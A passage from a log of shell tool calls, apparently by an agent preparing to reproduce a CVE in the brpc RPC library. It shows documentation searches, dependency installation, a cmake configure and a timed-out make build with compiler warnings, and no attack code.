]; then\n        >&2 $ECHO \"--cc and --cxx must be both set or unset\"\n        exit 1\n    fi\n    CC=gcc\n    CXX=g++\n    if [ \"$SYSTEM\" = \"Darwin\" ]; then\n        CC=clang\n        CXX=clang++\n    fi\nelif [ -z \"$CXX\" ]; then\n    >&2 $ECHO \"--cc and --cxx must be both set or unset\"\n    exit 1\nfi\n\nGCC_VERSION=$(CXX=$CXX tools/print_gcc_version.sh)\nif [ $GCC_VERSION -gt 0 ] && [ $GCC_VERSION -lt 40800 ]; then\n    >&2 $ECHO \"GCC is too old, please install a newer version supporting C++11\"\n    exit 1\nfi\n\nif [ -z \"$HDRS_IN\" ] || [ -z \"$LIBS_IN\" ]; then\n    >&2 $ECHO \"config_brpc: --headers=HDRPATHS --libs=LIBPATHS must be specified\"\n    exit 1\nfi\n\nfind_dir_of_lib() {\n    local lib=$(find ${LIBS_IN} -name \"lib${1}.a\" -o -name \"lib${1}.$SO\" 2>/dev/null | head -n1)\n    if [ ! -z \"$lib\" ]; then\n        dirname $lib\n    fi\n}\nfind_dir_of_lib_or_die() {\n    local dir=$(find_dir_of_lib $1)\n    if [ -z \"$dir\" ]; then\n        >&2 $ECHO \"Fail to find $1 from --libs\"\n        exit 1\n    else\n        $ECHO $dir\n    fi\n}\n\nfind_bin() {\n    TARGET_BIN=$(find -L ${LIBS_IN} -type f -name \"$1\" 2>/dev/null | head -n1)\n    if [ ! -z \"$TARGET_BIN\" ]; then\n        $ECHO $TARGET_BIN\n    else\n        which \"$1\" 2>/dev/null\n    fi\n}\nfind_bin_or_die() {\n    TARGET_BIN=$(find_bin \"$1\")\n    if [ ! -z \"$TARGET_BIN\" ]; then\n        $ECHO $TARGET_BIN\n    else\n        >&2 $ECHO \"Fail to find $1\"\n        exit 1\n    fi\n}\n\nfind_dir_of_header() {\n    find -L ${HDRS_IN} -path \"*/$1\" | head -n1 | sed \"s|$1||g\"\n}\n\nfind_dir_of_header_excluding() {\n    find -L ${HDRS_IN} -path \"*/$1\" | grep -v \"$2\\$\" | head -n1 | sed \"s|$1||g\"\n}\n\nfind_dir_of_header_or_die() {\n    if [ -z \"$2\" ]; then\n        local dir=$(find_dir_of_header $1)\n    else\n        local dir=$(find_dir_of_header_excluding $1 $2)\n    fi\n    if [ -z \"$dir\" ]; then\n        >&2 $ECHO \"Fail to find $1 from --headers\"\n        exit 1\n    fi\n    $ECHO $dir\n}\n\nif [ \"$SYSTEM\" = \"Darwin\" ]; then\n    if [ -d \"/usr/local/opt/openssl\" ]; then\n        LIBS_IN=\"/usr/local/opt/openssl/lib $LIBS_IN\"\n        HDRS_IN=\"/usr/local/opt/openssl/include $HDRS_IN\"\n    elif [ -d \"/opt/homebrew/Cellar\" ]; then\n        LIBS_IN=\"/opt/homebrew/Cellar $LIBS_IN\"\n        HDRS_IN=\"/opt/homebrew/Cellar $HDRS_IN\"\n    fi\nfi\n\n# User specified path of openssl, if not given it's empty\nOPENSSL_LIB=$(find_dir_of_lib ssl)\n# Inconvenient to check these headers in baidu-internal\n#PTHREAD_HDR=$(find_dir_of_header_or_die pthread.h)\nOPENSSL_HDR=$(find_dir_of_header_or_die openssl/ssl.h mesalink/openssl/ssl.h)\n\nif [ $WITH_MESALINK != 0 ]; then\n    MESALINK_HDR=$(find_dir_of_header_or_die mesalink/openssl/ssl.h)\n    OPENSSL_HDR=\"$OPENSSL_HDR\\n$MESALINK_HDR\"\nfi\n\nSTATIC_LINKINGS=\nDYNAMIC_LINKINGS=\"-lpthread -lssl -lcrypto -ldl -lz\"\n\nif [ $WITH_MESALINK != 0 ]; then\n    DYNAMIC_LINKINGS=\"$DYNAMIC_LINKINGS -lmesalink\"\nfi\n\nif [ \"$SYSTEM\" = \"Linux\" ]; then\n    DYNAMIC_LINKINGS=\"$DYNAMIC_LINKINGS -lrt\"\nfi\nif [ \"$SYSTEM\" = \"Darwin\" ]; then\n\tDYNAMIC_LINKINGS=\"$DYNAMIC_LINKINGS -framework CoreFoundation\"\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 43,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:13.983272Z",
      "duration": 0.014322320999781368,
      "request": {
        "command": "grep -n \"Dependencies\" -n /home/user/pruva/work/brpc-1.14.1/README.md | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 44,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:17.005913Z",
      "duration": 0.014931601000171213,
      "request": {
        "command": "grep -n \"Dependencies\" -n /home/user/pruva/work/brpc-1.14.1/README_cn.md | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 45,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:19.319074Z",
      "duration": 0.07326734399975976,
      "request": {
        "command": "grep -R \"protobuf\" -n /home/user/pruva/work/brpc-1.14.1/docs | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/home/user/pruva/work/brpc-1.14.1/docs/en/status.md:12:- **Echo (EchoRequest) returns (EchoResponse)**: Signature of the method. A service can have multiple methods. Click links on request/response to see schemes of the protobuf messages.\n/home/user/pruva/work/brpc-1.14.1/docs/en/io.md:17:[InputMessenger](https://github.com/apache/brpc/blob/master/src/brpc/input_messenger.h) cuts messages and uses customizable callbacks to handle different format of data. `Parse` callback cuts messages from binary data and has relatively stable running time; `Process` parses messages further(such as parsing by protobuf) and calls users' callbacks, which vary in running time. If n(n > 1) messages are read from the fd, InputMessenger launches n-1 bthreads to handle first n-1 messages respectively, and processes the last message in-place. InputMessenger tries protocols one by one. Since one connections often has only one type of messages, InputMessenger remembers current protocol to avoid trying for protocols next time. \n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:296:Generally, we don't use Channel.CallMethod directly, instead we call XXX_Stub generated by protobuf, which feels more like a \"method call\". The stub has few member fields, being suitable(and recommended) to be put on stack instead of new(). Surely the stub can be saved and re-used as well. Channel.CallMethod and stub are both **thread-safe** and accessible by multiple threads simultaneously. For example:\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:305:A exception is http/h2 client, which is not related to protobuf much. Call CallMethod directly to make a http call, setting all parameters to NULL except for `Controller` and `done`, check [Access http/h2](http_client.md) for details.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:340:You can new these objects individually and create done by [NewCallback](#use-newcallback), or make response/controller be member of done and [new them together](#Inherit-google::protobuf::Closure). Former one is recommended.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:371:Since protobuf 3 changes NewCallback to private, brpc puts NewCallback in [src/brpc/callback.h](https://github.com/apache/brpc/blob/master/src/brpc/callback.h) after r32035 (and adds more overloads). If your program has compilation issues with NewCallback, replace google::protobuf::NewCallback with brpc::NewCallback.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:373:### Inherit google::protobuf::Closure\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:377:class OnRPCDone: public google::protobuf::Closure {\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:449:stub.method1(controller1, &request1, response1, google::protobuf::NewCallback(on_rpc_done, controller1, response1));\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:450:stub.method2(controller2, &request2, response2, google::protobuf::NewCallback(on_rpc_done, controller2, response2));\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:479:NOTE: it is `brpc::StartCancel(call_id)`, not `controller->StartCancel()`, which is forbidden and useless. The latter one is provided by protobuf by default and has serious race conditions on lifetime of controller.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:662:- PROTOCOL_UBRPC_COMPACK or \"ubrpc_compack\", which is protocol of public/ubrpc, packing with compack, using pooled connection by default. check out [ubrpc (by protobuf)](ub_client.md) for details. A related protocol is PROTOCOL_UBRPC_MCPACK2 or ubrpc_mcpack2, packing with mcpack2.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:665:- PROTOCOL_NSHEAD_MCPACK or \"nshead_mcpack\", which is as the name implies, nshead + mcpack (parsed by protobuf via mcpack2pb), using pooled connection by default.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:740:baidu_std and hulu_pbrpc supports attachments which are sent along with messages and set by users to bypass serialization of protobuf. As a client, data set in Controller::request_attachment() will be received by server and response_attachment() contains attachment sent back by the server.\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:898:### Q: Both sides use protobuf, why can't they communicate with each other\n/home/user/pruva/work/brpc-1.14.1/docs/en/client.md:900:**protocol != protobuf**. protobuf serializes one package and a message of a protocol may contain multiple packages along with extra lengths, checksums, magic numbers. The capability offered by brpc that \"write code once and serve multiple protocols\" is implemented by converting data from different protocols to unified API, not on protobuf layer.\n/home/user/pruva/work/brpc-1.14.1/docs/en/http_service.md:3:This document talks about ordinary http/h2 services rather than protobuf services accessible via http/h2. \n/home/user/pruva/work/brpc-1.14.1/docs/en/http_service.md:31:```protobuf\n/home/user/pruva/work/brpc-1.14.1/docs/en/http_service.md:42:2. Implement the service by inheriting the base class generated in .pb.h, which is same as protobuf services.\n/home/user/pruva/work/brpc-1.14.1/docs/en/http_service.md:48:    virtual void Echo(google::protobuf::RpcController* cntl_base,\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 46,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:25.679742Z",
      "duration": 0.013655221999670175,
      "request": {
        "command": "grep -n \"gflags\" -n /home/user/pruva/work/brpc-1.14.1/CMakeLists.txt | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "321:set(BRPC_PRIVATE_LIBS \"-lgflags -lprotobuf -lleveldb -lprotoc -lssl -lcrypto -ldl -lz\")\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 47,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:31.940407Z",
      "duration": 1.417641809000088,
      "request": {
        "command": "apt-get install -y cmake libprotobuf-dev protobuf-compiler libgflags-dev libglog-dev libleveldb-dev libssl-dev zlib1g-dev liblz4-dev",
        "timeout": 60.0
      },
      "response": {
        "returncode": 100,
        "stdout": "Reading package lists...\nBuilding dependency tree...\nReading state information...\n",
        "stderr": "E: Unable to locate package libglog-dev\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 48,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:40.955248Z",
      "duration": 3.8432344800003193,
      "request": {
        "command": "apt-get install -y cmake libprotobuf-dev protobuf-compiler libgflags-dev libgoogle-glog-dev libleveldb-dev libssl-dev zlib1g-dev liblz4-dev",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "Reading package lists...\nBuilding dependency tree...\nReading state information...\ncmake is already the newest version (3.28.3-1build7).\nlibprotobuf-dev is already the newest version (3.21.12-8.2ubuntu0.2).\nprotobuf-compiler is already the newest version (3.21.12-8.2ubuntu0.2).\nlibgflags-dev is already the newest version (2.2.2-2build1).\nlibleveldb-dev is already the newest version (1.23-5build1).\nlibssl-dev is already the newest version (3.0.13-0ubuntu3.6).\nzlib1g-dev is already the newest version (1:1.3.dfsg-3.1ubuntu2.1).\nThe following additional packages will be installed:\n  libgoogle-glog0v6t64\nThe following NEW packages will be installed:\n  libgoogle-glog-dev libgoogle-glog0v6t64 liblz4-dev\n0 upgraded, 3 newly installed, 0 to remove and 31 not upgraded.\nNeed to get 257 kB of archives.\nAfter this operation, 920 kB of additional disk space will be used.\nGet:1 http://archive.ubuntu.com/ubuntu noble/universe amd64 libgoogle-glog0v6t64 amd64 0.6.0-2.1build1 [62.9 kB]\nGet:2 http://archive.ubuntu.com/ubuntu noble/universe amd64 libgoogle-glog-dev amd64 0.6.0-2.1build1 [107 kB]\nGet:3 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 liblz4-dev amd64 1.9.4-1build1.1 [87.6 kB]\nFetched 257 kB in 0s (865 kB/s)\nSelecting previously unselected package libgoogle-glog0v6t64.\n(Reading database ... \n(Reading database ... 5%\n(Reading database ... 10%\n(Reading database ... 15%\n(Reading database ... 20%\n(Reading database ... 25%\n(Reading database ... 30%\n(Reading database ... 35%\n(Reading database ... 40%\n(Reading database ... 45%\n(Reading database ... 50%\n(Reading database ... 55%\n(Reading database ... 60%\n(Reading database ... 65%\n(Reading database ... 70%\n(Reading database ... 75%\n(Reading database ... 80%\n(Reading database ... 85%\n(Reading database ... 90%\n(Reading database ... 95%\n(Reading database ... 100%\n(Reading database ... 55067 files and directories currently installed.)\nPreparing to unpack .../libgoogle-glog0v6t64_0.6.0-2.1build1_amd64.deb ...\nUnpacking libgoogle-glog0v6t64 (0.6.0-2.1build1) ...\nSelecting previously unselected package libgoogle-glog-dev.\nPreparing to unpack .../libgoogle-glog-dev_0.6.0-2.1build1_amd64.deb ...\nUnpacking libgoogle-glog-dev (0.6.0-2.1build1) ...\nSelecting previously unselected package liblz4-dev:amd64.\nPreparing to unpack .../liblz4-dev_1.9.4-1build1.1_amd64.deb ...\nUnpacking liblz4-dev:amd64 (1.9.4-1build1.1) ...\nSetting up liblz4-dev:amd64 (1.9.4-1build1.1) ...\nSetting up libgoogle-glog0v6t64 (0.6.0-2.1build1) ...\nSetting up libgoogle-glog-dev (0.6.0-2.1build1) ...\nProcessing triggers for libc-bin (2.39-0ubuntu8.6) ...\n",
        "stderr": "debconf: delaying package configuration, since apt-utils is not installed\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 49,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:38:51.340308Z",
      "duration": 5.721618678000141,
      "request": {
        "command": "mkdir -p /home/user/pruva/work/brpc-1.14.1/build && cd /home/user/pruva/work/brpc-1.14.1/build && cmake ..",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "-- The C compiler identification is GNU 13.3.0\n-- The CXX compiler identification is GNU 13.3.0\n-- Detecting C compiler ABI info\n-- Detecting C compiler ABI info - done\n-- Check for working C compiler: /usr/bin/cc - skipped\n-- Detecting C compile features\n-- Detecting C compile features - done\n-- Detecting CXX compiler ABI info\n-- Detecting CXX compiler ABI info - done\n-- Check for working CXX compiler: /usr/bin/c++ - skipped\n-- Detecting CXX compile features\n-- Detecting CXX compile features - done\n-- Found gflags: /usr/lib/x86_64-linux-gnu/libgflags.so\n-- Found Protobuf: /usr/lib/x86_64-linux-gnu/libprotobuf.so (found version \"3.21.12\") \n-- Found Threads: TRUE  \n-- Found OpenSSL: /usr/lib/x86_64-linux-gnu/libcrypto.so (found version \"3.0.13\")  \n-- Configuring done (4.9s)\n-- Generating done (0.4s)\n-- Build files have been written to: /home/user/pruva/work/brpc-1.14.1/build\n",
        "stderr": "CMake Deprecation Warning at CMakeLists.txt:18 (cmake_minimum_required):\n  Compatibility with CMake < 3.5 will be removed from a future version of\n  CMake.\n\n  Update the VERSION argument <min> value or use a ...<max> suffix to tell\n  CMake that the project does not need compatibility with older versions.\n\n\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 50,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:43:55.342418Z",
      "duration": 300.00332724400005,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1/build && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": null,
        "stdout": "[  1%] Generating idl_options.pb.h, idl_options.pb.cc\n[  1%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dmg_fp/g_fmt.cc.o\n[  1%] Generating brpc/builtin_service.pb.h, brpc/builtin_service.pb.cc\n[  1%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dmg_fp/dtoa_wrapper.cc.o\n[  1%] Generating brpc/errno.pb.h, brpc/errno.pb.cc\n[  2%] Generating brpc/get_favicon.pb.h, brpc/get_favicon.pb.cc\n[  3%] Generating brpc/get_js.pb.h, brpc/get_js.pb.cc\n[  3%] Generating brpc/grpc_health_check.pb.h, brpc/grpc_health_check.pb.cc\n[  3%] Generating brpc/nshead_meta.pb.h, brpc/nshead_meta.pb.cc\n[  4%] Generating brpc/options.pb.h, brpc/options.pb.cc\n[  4%] Generating brpc/policy/baidu_rpc_meta.pb.h, brpc/policy/baidu_rpc_meta.pb.cc\n[  4%] Generating brpc/policy/hulu_pbrpc_meta.pb.h, brpc/policy/hulu_pbrpc_meta.pb.cc\n[  4%] Generating brpc/policy/mongo.pb.h, brpc/policy/mongo.pb.cc\n[  4%] Generating brpc/policy/public_pbrpc_meta.pb.h, brpc/policy/public_pbrpc_meta.pb.cc\n[  5%] Generating brpc/policy/sofa_pbrpc_meta.pb.h, brpc/policy/sofa_pbrpc_meta.pb.cc\n[  6%] Generating brpc/proto_base.pb.h, brpc/proto_base.pb.cc\n[  6%] Generating brpc/rpc_dump.pb.h, brpc/rpc_dump.pb.cc\n[  6%] Generating brpc/rtmp.pb.h, brpc/rtmp.pb.cc\n[  6%] Generating brpc/span.pb.h, brpc/span.pb.cc\n[  6%] Generating brpc/streaming_rpc_meta.pb.h, brpc/streaming_rpc_meta.pb.cc\n[  6%] Generating brpc/trackme.pb.h, brpc/trackme.pb.cc\n[  6%] Building C object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dynamic_annotations/dynamic_annotations.c.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/icu/icu_utf.cc.o\n[  7%] Building CXX object CMakeFiles/PROTO_LIB.dir/idl_options.pb.cc.o\n[  7%] Building C object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/superfasthash/superfasthash.c.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/modp_b64/modp_b64.cc.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/symbolize/demangle.cc.o\n[  8%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/symbolize/symbolize.cc.o\n[  8%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/rtmp.pb.cc.o\n[  8%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy-sinksource.cc.o\n[  8%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy-stubs-internal.cc.o\n[  9%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy.cc.o\n[ 10%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/rpc_dump.pb.cc.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/murmurhash3/murmurhash3.cpp.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/arena.cpp.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/at_exit.cc.o\n[ 10%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/get_favicon.pb.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/atomicops_internals_x86_gcc.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/base64.cc.o\n[ 11%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/span.pb.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/base64url.cc.o\n[ 12%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/big_endian.cc.o\n[ 12%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/cpu.cc.o\n[ 12%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/alias.cc.o\n[ 12%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/asan_invalid_access.cc.o\n[ 12%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/builtin_service.pb.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/crash_logging.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/debugger.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/debugger_posix.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/dump_without_crashing.cc.o\n[ 14%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/proc_maps_linux.cc.o\n[ 15%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/grpc_health_check.pb.cc.o\n[ 15%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/stack_trace.cc.o\n[ 15%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/get_js.pb.cc.o\n[ 15%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/stack_trace_posix.cc.o\n[ 16%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/environment.cc.o\n[ 16%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/errno.pb.cc.o\n[ 16%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file.cc.o\n[ 17%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/nshead_meta.pb.cc.o\n[ 17%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_posix.cc.o\n[ 17%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_enumerator.cc.o\n[ 17%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/options.pb.cc.o\n[ 18%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_enumerator_posix.cc.o\n[ 18%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/baidu_rpc_meta.pb.cc.o\n[ 18%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_path.cc.o\n[ 18%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_path_constants.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/memory_mapped_file.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/memory_mapped_file_posix.cc.o\n[ 19%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/hulu_pbrpc_meta.pb.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/scoped_file.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/scoped_temp_dir.cc.o\n[ 20%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/public_pbrpc_meta.pb.cc.o\n[ 21%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/file_util.cc.o\n[ 21%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/file_util_posix.cc.o\n[ 21%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/sofa_pbrpc_meta.pb.cc.o\n[ 21%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/guid.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/guid_posix.cc.o\n[ 22%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/mongo.pb.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/hash.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/lazy_instance.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/location.cc.o\n[ 23%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/trackme.pb.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/aligned_memory.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/ref_counted.cc.o\n[ 24%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/streaming_rpc_meta.pb.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/ref_counted_memory.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/singleton.cc.o\n[ 24%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/proto_base.pb.cc.o\n[ 25%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/weak_ptr.cc.o\n[ 25%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/posix/file_descriptor_shuffle.cc.o\n[ 25%] Built target PROTO_LIB\n[ 25%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/posix/global_descriptors.cc.o\n[ 25%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/collector.cpp.o\n[ 26%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/process_util.cc.o\n[ 26%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/rand_util.cc.o\n[ 26%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/rand_util_posix.cc.o\n[ 27%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/default_variables.cpp.o\n[ 27%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/fast_rand.cpp.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/safe_strerror_posix.cc.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/sha1_portable.cc.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/latin1_string_conversions.cc.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/nullable_string16.cc.o\n[ 29%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/detail/percentile.cpp.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/safe_sprintf.cc.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string16.cc.o\n[ 29%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/detail/sampler.cpp.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_number_conversions.cc.o\n[ 29%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/gflag.cpp.o\n[ 30%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_split.cc.o\n[ 31%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/latency_recorder.cpp.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_piece.cc.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_util.cc.o\n[ 31%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/mvariable.cpp.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_util_constants.cc.o\n[ 31%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/variable.cpp.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/stringprintf.cc.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_offset_string_conversions.cc.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_string_conversion_utils.cc.o\n[ 33%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_string_conversions.cc.o\n[ 34%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bthread/bthread.cpp.o\n[ 34%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/synchronization/cancellation_flag.cc.o\n[ 34%] Building CXX\n... (truncated 19025 chars)",
        "stderr": "In file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.cpp:19:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/adaptive_max_concurrency.h:25,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/concurrency_limiter.h:24,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/details/method_status.h:25,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from 